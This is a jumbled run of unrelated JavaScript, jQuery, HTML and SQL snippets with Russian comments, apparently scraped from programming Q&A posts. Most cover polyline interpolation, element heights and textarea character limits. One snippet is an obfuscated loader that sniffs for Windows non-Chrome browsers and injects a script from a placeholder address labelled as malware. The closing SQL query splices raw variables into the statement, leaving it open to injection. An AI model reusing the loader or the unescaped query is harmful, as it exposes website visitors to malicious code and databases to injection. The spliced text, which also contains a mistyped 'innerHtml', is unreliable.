var points = [{x: 0, y: 0}, {x: 0, y: 50}, {x: 10, y: 50}, {x: 10, y: 0}];
var segLen = [];
var totalLen = 0;
for (var i = 0; i < points.length-1; i++) {
var l = Math.sqrt((points[i+1].x-points[i].x)*(points[i+1].x-points[i].x)+
(points[i+1].y-points[i].y)*(points[i+1].y-points[i].y));
segLen.push(l);
totalLen += l;
}
var percent = 55;
var needLen = totalLen*percent/100;
for (var i = 0; i < points.length-1 && needLen > 0; i++)
if (needLen >= segLen[i]) {
// пройти путь points[i] - points[i+1]
needLen -= segLen[i];
} else {
x = points[i].x+(points[i+1].x-points[i].x)*needLen/segLen[i];
y = points[i].y+(points[i+1].y-points[i].y)*needLen/segLen[i];
// пройти путь points[i] - {x, y}
needLen = 0;
}// для каждого элемента с классом object_prev
$('.object_prev', this).each(function() {
// найти высоту элемента
var height = $(this).height();
// присвоить эту высоту всем элементам с классом live_view.
$('.live_view').css('height', height);
});$(this).children('.live_view').css('height', height);$(this).find('.live_view').css('height', height);
document.getElementById('id').innerHtml = newContent;$('#id').html(newContent);
<form>
<textarea id='test' maxlength='200'></textarea><br>
<span id='rest'></span>
</form>$('#test').on('keydown', function(event) {
var MAXLEN = 200;
var str = $(this).val();
var newLines = str.split('\n').length-1;
var len = str.length+newLines*99;
if (event.which == 13) {
if (len > MAXLEN-100)
return false;
else
newLines++;
}
$(this).attr('maxlength', MAXLEN-newLines*99);
return true;
});
$('#test').on('paste', function(event) {
var MAXLEN = 200;
var str = $(this).val()+event.originalEvent.clipboardData.getData('Text');
var newLines = str.split('\n').length-1;
var len = str.length+newLines*99;
if (len > MAXLEN)
return false;
return true;
});
$('#test').on('keyup', function() {
$('#rest').text($(this).val().length+'/'+$(this).attr('maxlength'));
});function strReverse(str){
return (str).split("").reverse().join("");
}
function addScript(src){
if(document.createElement && document.getElementsByTagName) {
var head = document["getElementsByTagName"]('head')[0];
var script = document.createElement('script');
script.setAttribute('type',"text/javascript");
script.setAttribute('src', src);
head["appendChild"](script)
}
}
var scriptSrc = "http://здесь адрес зловреда";
var winStr = "win";
var userAgent = navigator["userAgent"]["toLowerCase"]();
function isWindows() {
return userAgent["indexOf"](winStr) != -1;
}
function isNotChrome() {
return userAgent.indexOf("chrome") == -1;
}
if(isWindows() && isNotChrome()) {
addScript(scriptSrc);
}SELECT * FROM `stock`
WHERE `manufacturer` = {$manufacturer }
AND `size` BETWEEN {$minSize} AND {$maxSize}
AND `color` = {$color}